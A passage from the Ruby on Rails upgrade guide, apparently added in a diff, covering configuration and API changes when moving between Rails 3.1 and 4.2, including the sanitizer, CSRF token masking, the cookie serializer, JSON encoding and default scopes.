+If you do not specify a value for this option, a deprecation warning will be
+emitted. To avoid this, add the following line to your test environment:
+
+```ruby
+# config/environments/test.rb
+Rails.application.configure do
+  config.active_support.test_order = :sorted # or `:random` if you prefer
+end
+```
+
+### Serialized attributes
+
+When using a custom coder (e.g. `serialize :metadata, JSON`),
+assigning `nil` to a serialized attribute will save it to the database
+as `NULL` instead of passing the `nil` value through the coder (e.g. `"null"`
+when using the `JSON` coder).
+
+### Production log level
+
+In Rails 5, the default log level for the production environment will be changed
+to `:debug` (from `:info`). To preserve the current default, add the following
+line to your `production.rb`:
+
+```ruby
+# Set to `:info` to match the current default, or set to `:debug` to opt-into
+# the future default.
+config.log_level = :info
+```
+
+### `after_bundle` in Rails templates
+
+If you have a Rails template that adds all the files in version control, it
+fails to add the generated binstubs because it gets executed before Bundler:
+
+```ruby
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rake("db:migrate")
+
+git :init
+git add: "."
+git commit: %Q{ -m 'Initial commit' }
+```
+
+You can now wrap the `git` calls in an `after_bundle` block. It will be run
+after the binstubs have been generated.
+
+```ruby
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rake("db:migrate")
+
+after_bundle do
+  git :init
+  git add: "."
+  git commit: %Q{ -m 'Initial commit' }
+end
+```
+
+### Rails HTML Sanitizer
+
+There's a new choice for sanitizing HTML fragments in your applications. The
+venerable html-scanner approach is now officially being deprecated in favor of
+[`Rails HTML Sanitizer`](https://github.com/rails/rails-html-sanitizer).
+
+This means the methods `sanitize`, `sanitize_css`, `strip_tags` and
+`strip_links` are backed by a new implementation.
+
+This new sanitizer uses [Loofah](https://github.com/flavorjones/loofah) internally. Loofah in turn uses Nokogiri, which
+wraps XML parsers written in both C and Java, so sanitization should be faster
+no matter which Ruby version you run.
+
+The new version updates `sanitize`, so it can take a `Loofah::Scrubber` for
+powerful scrubbing.
+[See some examples of scrubbers here](https://github.com/flavorjones/loofah#loofahscrubber).
+
+Two new scrubbers have also been added: `PermitScrubber` and `TargetScrubber`.
+Read the [gem's readme](https://github.com/rails/rails-html-sanitizer) for more information.
+
+The documentation for `PermitScrubber` and `TargetScrubber` explains how you
+can gain complete control over when and how elements should be stripped.
+
+If your application needs to use the old sanitizer implementation, include `rails-deprecated_sanitizer` in your Gemfile:
+
+```ruby
+gem 'rails-deprecated_sanitizer'
+```
+
+### Rails DOM Testing
+
+The [`TagAssertions` module](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/TagAssertions.html) (containing methods such as `assert_tag`), [has been deprecated](https://github.com/rails/rails/blob/6061472b8c310158a2a2e8e9a6b81a1aef6b60fe/actionpack/lib/action_dispatch/testing/assertions/dom.rb) in favor of the `assert_select` methods from the `SelectorAssertions` module, which has been extracted into the [rails-dom-testing gem](https://github.com/rails/rails-dom-testing).
+
+
+### Masked Authenticity Tokens
+
+In order to mitigate SSL attacks, `form_authenticity_token` is now masked so that it varies with each request.  Thus, tokens are validated by unmasking and then decrypting.  As a result, any strategies for verifying requests from non-rails forms that relied on a static session CSRF token have to take this into account.
+
+### Action Mailer
+
+Previously, calling a mailer method on a mailer class will result in the
+corresponding instance method being executed directly. With the introduction of
+Active Job and `#deliver_later`, this is no longer true. In Rails 4.2, the
+invocation of the instance methods are deferred until either `deliver_now` or
+`deliver_later` is called. For example:
+
+```ruby
+class Notifier < ActionMailer::Base
+  def notify(user, ...)
+    puts "Called"
+    mail(to: user.email, ...)
+  end
+end
+
+mail = Notifier.notify(user, ...) # Notifier#notify is not yet called at this point
+mail = mail.deliver_now           # Prints "Called"
+```
+
+This should not result in any noticeable differences for most applications.
+However, if you need some non-mailer methods to be executed synchronously, and
+you were previously relying on the synchronous proxying behavior, you should
+define them as class methods on the mailer class directly:
+
+```ruby
+class Notifier < ActionMailer::Base
+  def self.broadcast_notifications(users, ...)
+    users.each { |user| Notifier.notify(user, ...) }
+  end
+end
+```
+
+### Foreign Key Support
+
+The migration DSL has been expanded to support foreign key definitions. If
+you've been using the Foreigner gem, you might want to consider removing it.
+Note that the foreign key support of Rails is a subset of Foreigner. This means
+that not every Foreigner definition can be fully replaced by its Rails
+migration DSL counterpart.
+
+The migration procedure is as follows:
+
+1. remove `gem "foreigner"` from the Gemfile.
+2. run `bundle install`.
+3. run `bin/rake db:schema:dump`.
+4. make sure that `db/schema.rb` contains every foreign key definition with
+the necessary options.
+
+Upgrading from Rails 4.0 to Rails 4.1
+-------------------------------------
+
+### CSRF protection from remote `<script>` tags
+
+Or, "whaaat my tests are failing!!!?" or "my `<script>` widget is busted!!"
+
+Cross-site request forgery (CSRF) protection now covers GET requests with
+JavaScript responses, too. This prevents a third-party site from remotely
+referencing your JavaScript with a `<script>` tag to extract sensitive data.
+
+This means that your functional and integration tests that use
+
+```ruby
+get :index, format: :js
+```
+
+will now trigger CSRF protection. Switch to
+
+```ruby
+xhr :get, :index, format: :js
+```
+
+to explicitly test an `XmlHttpRequest`.
+
+Note: Your own `<script>` tags are treated as cross-origin and blocked by
+default, too. If you really mean to load JavaScript from `<script>` tags,
+you must now explicitly skip CSRF protection on those actions.
+
+### Spring
+
+If you want to use Spring as your application preloader you need to:
+
+1. Add `gem 'spring', group: :development` to your `Gemfile`.
+2. Install spring using `bundle install`.
+3. Springify your binstubs with `bundle exec spring binstub --all`.
+
+NOTE: User defined rake tasks will run in the `development` environment by
+default. If you want them to run in other environments consult the
+[Spring README](https://github.com/rails/spring#rake).
+
+### `config/secrets.yml`
+
+If you want to use the new `secrets.yml` convention to store your application's
+secrets, you need to:
+
+1. Create a `secrets.yml` file in your `config` folder with the following content:
+
+    ```yaml
+    development:
+      secret_key_base:
+
+    test:
+      secret_key_base:
+
+    production:
+      secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+    ```
+
+2. Use your existing `secret_key_base` from the `secret_token.rb` initializer to
+   set the SECRET_KEY_BASE environment variable for whichever users running the
+   Rails application in production mode. Alternatively, you can simply copy the existing
+   `secret_key_base` from the `secret_token.rb` initializer to `secrets.yml`
+   under the `production` section, replacing '<%= ENV["SECRET_KEY_BASE"] %>'.
+
+3. Remove the `secret_token.rb` initializer.
+
+4. Use `rake secret` to generate new keys for the `development` and `test` sections.
+
+5. Restart your server.
+
+### Changes to test helper
+
+If your test helper contains a call to
+`ActiveRecord::Migration.check_pending!` this can be removed. The check
+is now done automatically when you `require 'rails/test_help'`, although
+leaving this line in your helper is not harmful in any way.
+
+### Cookies serializer
+
+Applications created before Rails 4.1 uses `Marshal` to serialize cookie values into
+the signed and encrypted cookie jars. If you want to use the new `JSON`-based format
+in your application, you can add an initializer file with the following content:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = :hybrid
+```
+
+This would transparently migrate your existing `Marshal`-serialized cookies into the
+new `JSON`-based format.
+
+When using the `:json` or `:hybrid` serializer, you should beware that not all
+Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects
+will be serialized as strings, and `Hash`es will have their keys stringified.
+
+```ruby
+class CookiesController < ApplicationController
+  def set_cookie
+    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+    redirect_to action: 'read_cookie'
+  end
+
+  def read_cookie
+    cookies.encrypted[:expiration_date] # => "2014-03-20"
+  end
+end
+```
+
+It's advisable that you only store simple data (strings and numbers) in cookies.
+If you have to store complex objects, you would need to handle the conversion
+manually when reading the values on subsequent requests.
+
+If you use the cookie session store, this would apply to the `session` and
+`flash` hash as well.
+
+### Flash structure changes
+
+Flash message keys are
+[normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They
+can still be accessed using either symbols or strings. Looping through the flash
+will always yield string keys:
+
+```ruby
+flash["string"] = "a string"
+flash[:symbol] = "a symbol"
+
+# Rails < 4.1
+flash.keys # => ["string", :symbol]
+
+# Rails >= 4.1
+flash.keys # => ["string", "symbol"]
+```
+
+Make sure you are comparing Flash message keys against strings.
+
+### Changes in JSON handling
+
+There are a few major changes related to JSON handling in Rails 4.1.
+
+#### MultiJSON removal
+
+MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576)
+and has been removed from Rails.
+
+If your application currently depends on MultiJSON directly, you have a few options:
+
+1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future
+
+2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead.
+
+WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with
+`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and
+deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.2.2/libdoc/json/rdoc/JSON.html#method-i-load).
+
+#### JSON gem compatibility
+
+Historically, Rails had some compatibility issues with the JSON gem. Using
+`JSON.generate` and `JSON.dump` inside a Rails application could produce
+unexpected errors.
+
+Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The
+JSON gem APIs will function as normal, but they will not have access to any
+Rails-specific features. For example:
+
+```ruby
+class FooBar
+  def as_json(options = nil)
+    { foo: 'bar' }
+  end
+end
+
+>> FooBar.new.to_json # => "{\"foo\":\"bar\"}"
+>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\""
+```
+
+#### New JSON encoder
+
+The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON
+gem. For most applications, this should be a transparent change. However, as
+part of the rewrite, the following features have been removed from the encoder:
+
+1. Circular data structure detection
+2. Support for the `encode_json` hook
+3. Option to encode `BigDecimal` objects as numbers instead of strings
+
+If your application depends on one of these features, you can get them back by
+adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder)
+gem to your Gemfile.
+
+#### JSON representation of Time objects
+
+`#as_json` for objects with time component (`Time`, `DateTime`, `ActiveSupport::TimeWithZone`)
+now returns millisecond precision by default. If you need to keep old behavior with no millisecond
+precision, set the following in an initializer:
+
+```
+ActiveSupport::JSON::Encoding.time_precision = 0
+```
+
+### Usage of `return` within inline callback blocks
+
+Previously, Rails allowed inline callback blocks to use `return` this way:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+  before_save { return false } # BAD
+end
+```
+
+This behavior was never intentionally supported. Due to a change in the internals
+of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a
+`return` statement in an inline callback block causes a `LocalJumpError` to
+be raised when the callback is executed.
+
+Inline callback blocks using `return` can be refactored to evaluate to the
+returned value:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+  before_save { false } # GOOD
+end
+```
+
+Alternatively, if `return` is preferred it is recommended to explicitly define
+a method:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+  before_save :before_save_callback # GOOD
+
+  private
+    def before_save_callback
+      return false
+    end
+end
+```
+
+This change applies to most places in Rails where callbacks are used, including
+Active Record and Active Model callbacks, as well as filters in Action
+Controller (e.g. `before_action`).
+
+See [this pull request](https://github.com/rails/rails/pull/13271) for more
+details.
+
+### Methods defined in Active Record fixtures
+
+Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods
+defined in a fixture will not be available in other fixtures.
+
+Helper methods that are used in multiple fixtures should be defined on modules
+included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in
+`test_helper.rb`.
+
+```ruby
+module FixtureFileHelpers
+  def file_sha(path)
+    Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+  end
+end
+ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers
+```
+
+### I18n enforcing available locales
+
+Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`. This
+means that it will make sure that all locales passed to it must be declared in
+the `available_locales` list.
+
+To disable it (and allow I18n to accept *any* locale option) add the following
+configuration to your application:
+
+```ruby
+config.i18n.enforce_available_locales = false
+```
+
+Note that this option was added as a security measure, to ensure user input
+cannot be used as locale information unless it is previously known. Therefore,
+it's recommended not to disable this option unless you have a strong reason for
+doing so.
+
+### Mutator methods called on Relation
+
+`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+to an `Array` by calling `#to_a` before using these methods.
+
+It intends to prevent odd bugs and confusion in code that call mutator
+methods directly on the `Relation`.
+
+```ruby
+# Instead of this
+Author.where(name: 'Hank Moody').compact!
+
+# Now you have to do this
+authors = Author.where(name: 'Hank Moody').to_a
+authors.compact!
+```
+
+### Changes on Default Scopes
+
+Default scopes are no longer overridden by chained conditions.
+
+In previous versions when you defined a `default_scope` in a model
+it was overridden by chained conditions in the same field. Now it
+is merged like any other scope.
+
+Before:
+
+```ruby
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+After:
+
+```ruby
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+```
+
+To get the previous behavior it is needed to explicitly remove the
+`default_scope` condition using `unscoped`, `unscope`, `rewhere` or
+`except`.
+
+```ruby
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { unscope(where: :state).where(state: 'active') }
+  scope :inactive, -> { rewhere state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+### Rendering content from string
+
+Rails 4.1 introduces `:plain`, `:html`, and `:body` options to `render`. Those
+options are now the preferred way to render string-based content, as it allows
+you to specify which content type you want the response sent as.
+
+* `render :plain` will set the content type to `text/plain`
+* `render :html` will set the content type to `text/html`
+* `render :body` will *not* set the content type header.
+
+From the security standpoint, if you don't expect to have any markup in your
+response body, you should be using `render :plain` as most browsers will escape
+unsafe content in the response for you.
+
+We will be deprecating the use of `render :text` in a future version. So please
+start using the more precise `:plain`, `:html`, and `:body` options instead.
+Using `render :text` may pose a security risk, as the content is sent as
+`text/html`.
+
+### PostgreSQL json and hstore datatypes
+
+Rails 4.1 will map `json` and `hstore` columns to a string-keyed Ruby `Hash`.
+In earlier versions, a `HashWithIndifferentAccess` was used. This means that
+symbol access is no longer supported. This is also the case for
+`store_accessors` based on top of `json` or `hstore` columns. Make sure to use
+string keys consistently.
+
+### Explicit block use for `ActiveSupport::Callbacks`
+
+Rails 4.1 now expects an explicit block to be passed when calling
+`ActiveSupport::Callbacks.set_callback`. This change stems from
+`ActiveSupport::Callbacks` being largely rewritten for the 4.1 release.
+
+```ruby
+# Previously in Rails 4.0
+set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }
+
+# Now in Rails 4.1
+set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }
+```
+
+Upgrading from Rails 3.2 to Rails 4.0
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
+
+The following changes are meant for upgrading your application to Rails 4.0.
+
+### HTTP PATCH
+
+Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful
+resource is declared in `config/routes.rb`. The `update` action is still used,
+and `PUT` requests will continue to be routed to the `update` action as well.
+So, if you're using only the standard RESTful routes, no changes need to be made:
+
+```ruby
+resources :users
+```
+
+```erb
+<%= form_for @user do |f| %>
+```
+
+```ruby
+class UsersController < ApplicationController
+  def update
+    # No change needed; PATCH will be preferred, and PUT will still work.
+  end
+end
+```
+
+However, you will need to make a change if you are using `form_for` to update
+a resource in conjunction with a custom route using the `PUT` HTTP method:
+
+```ruby
+resources :users, do
+  put :update_name, on: :member
+end
+```
+
+```erb
+<%= form_for [ :update_name, @user ] do |f| %>
+```
+
+```ruby
+class UsersController < ApplicationController
+  def update_name
+    # Change needed; form_for will try to use a non-existent PATCH route.
+  end
+end
+```
+
+If the action is not being used in a public API and you are free to change the
+HTTP method, you can update your route to use `patch` instead of `put`:
+
+`PUT` requests to `/users/:id` in Rails 4 get routed to `update` as they are
+today. So, if you have an API that gets real PUT requests it is going to work.
+The router also routes `PATCH` requests to `/users/:id` to the `update` action.
+
+```ruby
+resources :users do
+  patch :update_name, on: :member
+end
+```
+
+If the action is being used in a public API and you can't change to HTTP method
+being used, you can update your form to use the `PUT` method instead:
+
+```erb
+<%= form_for [ :update_name, @user ], method: :put do |f| %>
+```
+
+For more on PATCH and why this change was made, see [this post](http://weblog.rubyonrails.org/2012/2/26/edge-rails-patch-is-the-new-primary-http-method-for-updates/)
+on the Rails blog.
+
+#### A note about media types
+
+The errata for the `PATCH` verb [specifies that a 'diff' media type should be
+used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One
+such format is [JSON Patch](http://tools.ietf.org/html/rfc6902). While Rails
+does not support JSON Patch natively, it's easy enough to add support:
+
+```
+# in your controller
+def update
+  respond_to do |format|
+    format.json do
+      # perform a partial update
+      @article.update params[:article]
+    end
+
+    format.json_patch do
+      # perform sophisticated change
+    end
+  end
+end
+
+# In config/initializers/json_patch.rb:
+Mime::Type.register 'application/json-patch+json', :json_patch
+```
+
+As JSON Patch was only recently made into an RFC, there aren't a lot of great
+Ruby libraries yet. Aaron Patterson's
+[hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have
+full support for the last few changes in the specification.
+
+### Gemfile
+
+Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that
+line from your Gemfile when upgrading. You should also update your application
+file (in `config/application.rb`):
+
+```ruby
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(*Rails.groups)
+```
+
+### vendor/plugins
+
+Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+### Active Record
+
+* Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: `config.active_record.identity_map`.
+
+* The `delete` method in collection associations can now receive `Integer` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them.
+
+* In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed.
+
+* Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.
+
+* When using the default coder, assigning `nil` to a serialized attribute will save it
+to the database as `NULL` instead of passing the `nil` value through YAML (`"--- \n...\n"`).
+
+* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path.
+
+* If you are not using Protected Attributes, you can remove any options related to
+this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options.
+
+* Rails 4.0 requires that scopes use a callable object such as a Proc or lambda:
+
+```ruby
+  scope :active, where(active: true)
+
+  # becomes
+  scope :active, -> { where active: true }
+```
+
+* Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`.
+
+* Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`.
+
+* Rails 4.0 has deprecated the old-style hash based finder API. This means that
+  methods which previously accepted "finder options" no longer do.  For example, `Book.find(:all, conditions: { name: '1984' })` has been deprecated in favor of `Book.where(name: '1984')`
+
+* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated.
+  Here's how you can handle the changes:
+
+      * `find_all_by_...`           becomes `where(...)`.
+      * `find_last_by_...`          becomes `where(...).last`.
+      * `scoped_by_...`             becomes `where(...)`.
+      * `find_or_initialize_by_...` becomes `find_or_initialize_by(...)`.
+      * `find_or_create_by_...`     becomes `find_or_create_by(...)`.
+
+* Note that `where(...)` returns a relation, not an array like the old finders. If you require an `Array`, use `where(...).to_a`.
+
+* These equivalent methods may not execute the same SQL as the previous implementation.
+
+* To re-enable the old finders, you can use the [activerecord-deprecated_finders gem](https://github.com/rails/activerecord-deprecated_finders).
+
+* Rails 4.0 has changed to default join table for `has_and_belongs_to_many` relations to strip the common prefix off the second table name. Any existing `has_and_belongs_to_many` relationship between models with a common prefix must be specified with the `join_table` option. For example:
+
+```ruby
+CatalogCategory < ActiveRecord::Base
+  has_and_belongs_to_many :catalog_products, join_table: 'catalog_categories_catalog_products'
+end
+
+CatalogProduct < ActiveRecord::Base
+  has_and_belongs_to_many :catalog_categories, join_table: 'catalog_categories_catalog_products'
+end
+```
+
+* Note that the prefix takes scopes into account as well, so relations between `Catalog::Category` and `Catalog::Product` or `Catalog::Category` and `CatalogProduct` need to be updated similarly.
+
+### Active Resource
+
+Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile.
+
+### Active Model
+
+* Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail, the error will be attached to `:#{attribute}_confirmation` instead of `attribute`.
+
+* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behavior. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file:
+
+```ruby
+# Disable root element in JSON by default.
+# ActiveSupport.on_load(:active_record) do
+#   self.include_root_in_json = false
+# end
+```
+
+### Action Pack
+
+* Rails 4.0 introduces `ActiveSupport::KeyGenerator` and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`.
+
+```ruby
+  # config/initializers/secret_token.rb
+  Myapp::Application.config.secret_token = 'existing secret token'
+  Myapp::Application.config.secret_key_base = 'new secret key base'
+```
+
+Please note that you should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new `secret_key_base` in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing `secret_token` in place, not set the new `secret_key_base`, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise complete.
+
+If you are relying on the ability for external applications or JavaScript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set `secret_key_base` until you have decoupled these concerns.
+
+* Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty.
+
+Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies.
+
+* Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature.
+
+* Rails 4.0 has deprecated `ActionController::Base.page_cache_extension` option. Use `ActionController::Base.default_static_extension` instead.
+
+* Rails 4.0 has removed Action and Page caching from Action Pack. You will need to add the `actionpack-action_caching` gem in order to use `caches_action` and the `actionpack-page_caching` to use `caches_page` in your controllers.
+
+* Rails 4.0 has removed the XML parameters parser. You will need to add the `actionpack-xml_parser` gem if you require this feature.
+
+* Rails 4.0 changes the default `layout` lookup set using symbols or procs that return nil. To get the "no layout" behavior, return false instead of nil.
+
+* Rails 4.0 changes the default memcached client from `memcache-client` to `dalli`. To upgrade, simply add `gem 'dalli'` to your `Gemfile`.
+
+* Rails 4.0 deprecates the `dom_id` and `dom_class` methods in controllers (they are fine in views). You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature.
+
+* Rails 4.0 deprecates the `:confirm` option for the `link_to` helper. You should
+instead rely on a data attribute (e.g. `data: { confirm: 'Are you sure?' }`).
+This deprecation also concerns the helpers based on this one (such as `link_to_if`
+or `link_to_unless`).
+
+* Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`.
+
+* Rails 4.0 raises an `ArgumentError` if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the `resources` method. Here are two examples that clash with routes named `example_path`:
+
+```ruby
+  get 'one' => 'test#example', as: :example
+  get 'two' => 'test#example', as: :example
+```
+
+```ruby
+  resources :examples
+  get 'clashing/:id' => 'test#example', as: :example
+```
+
+In the first case, you can simply avoid using the same name for multiple
+routes. In the second, you can use the `only` or `except` options provided by
+the `resources` method to restrict the routes created as detailed in the
+[Routing Guide](routing.html#restricting-the-routes-created).
+
+* Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:
+
+```ruby
+get Rack::Utils.escape('こんにちは'), controller: 'welcome', action: 'index'
+```
+
+becomes
+
+```ruby
+get 'こんにちは', controller: 'welcome', action: 'index'
+```
+
+* Rails 4.0 requires that routes using `match` must specify the request method. For example:
+
+```ruby
+  # Rails 3.x
+  match '/' => 'root#index'
+
+  # becomes
+  match '/' => 'root#index', via: :get
+
+  # or
+  get '/' => 'root#index'
+```
+
+* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`.
+
+Remember you must also remove any references to the middleware from your application code, for example:
+
+```ruby
+# Raise exception
+config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)
+```
+
+Also check your environment settings for `config.action_dispatch.best_standards_support` and remove it if present.
+
+* In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from `vendor/assets` and `lib/assets`. Rails application and engine developers should put these assets in `app/assets` or configure `config.assets.precompile`.
+
+* In Rails 4.0, `ActionController::UnknownFormat` is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides.
+
+* In Rails 4.0, a generic `ActionDispatch::ParamsParser::ParseError` exception is raised when `ParamsParser` fails to parse request params. You will want to rescue this exception instead of the low-level `MultiJson::DecodeError`, for example.
+
+* In Rails 4.0, `SCRIPT_NAME` is properly nested when engines are mounted on an app that's served from a URL prefix. You no longer have to set `default_url_options[:script_name]` to work around overwritten URL prefixes.
+
+* Rails 4.0 deprecated `ActionController::Integration` in favor of `ActionDispatch::Integration`.
+* Rails 4.0 deprecated `ActionController::IntegrationTest` in favor of `ActionDispatch::IntegrationTest`.
+* Rails 4.0 deprecated `ActionController::PerformanceTest` in favor of `ActionDispatch::PerformanceTest`.
+* Rails 4.0 deprecated `ActionController::AbstractRequest` in favor of `ActionDispatch::Request`.
+* Rails 4.0 deprecated `ActionController::Request` in favor of `ActionDispatch::Request`.
+* Rails 4.0 deprecated `ActionController::AbstractResponse` in favor of `ActionDispatch::Response`.
+* Rails 4.0 deprecated `ActionController::Response` in favor of `ActionDispatch::Response`.
+* Rails 4.0 deprecated `ActionController::Routing` in favor of `ActionDispatch::Routing`.
+
+### Active Support
+
+Rails 4.0 removes the `j` alias for `ERB::Util#json_escape` since `j` is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`.
+
+#### Cache
+
+The caching method changed between Rails 3.x and 4.0. You should [change the cache namespace](http://guides.rubyonrails.org/caching_with_rails.html#activesupport-cache-store) and roll out with a cold cache.
+
+### Helpers Loading Order
+
+The order in which helpers from more than one directory are loaded has changed in Rails 4.0. Previously, they were gathered and then sorted alphabetically. After upgrading to Rails 4.0, helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use the `helpers_path` parameter, this change will only impact the way of loading helpers from engines. If you rely on the ordering, you should check if correct methods are available after upgrade. If you would like to change the order in which engines are loaded, you can use `config.railties_order=` method.
+
+### Active Record Observer and Action Controller Sweeper
+
+`ActiveRecord::Observer` and `ActionController::Caching::Sweeper` have been extracted to the `rails-observers` gem. You will need to add the `rails-observers` gem if you require these features.
+
+### sprockets-rails
+
+* `assets:precompile:primary` and `assets:precompile:all` have been removed. Use `assets:precompile` instead.
+* The `config.assets.compress` option should be changed to `config.assets.js_compressor` like so for instance:
+
+```ruby
+config.assets.js_compressor = :uglifier
+```
+
+### sass-rails
+
+* `asset-url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`.
+
+Upgrading from Rails 3.1 to Rails 3.2
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.1.x, you
+should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
+
+The following changes are meant for upgrading your application to the latest
+3.2.x version of Rails.
+
+### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '3.2.21'
+
+group :assets do
+  gem 'sass-rails',   '~> 3.2.6'
+  gem 'coffee-rails', '~> 3.2.2'
+  gem 'uglifier',     '>= 1.0.3'
+end
+```
+
+### config/environments/development.rb
+
+There are a couple of new configuration settings that you should add to your development environment:
+
+```ruby
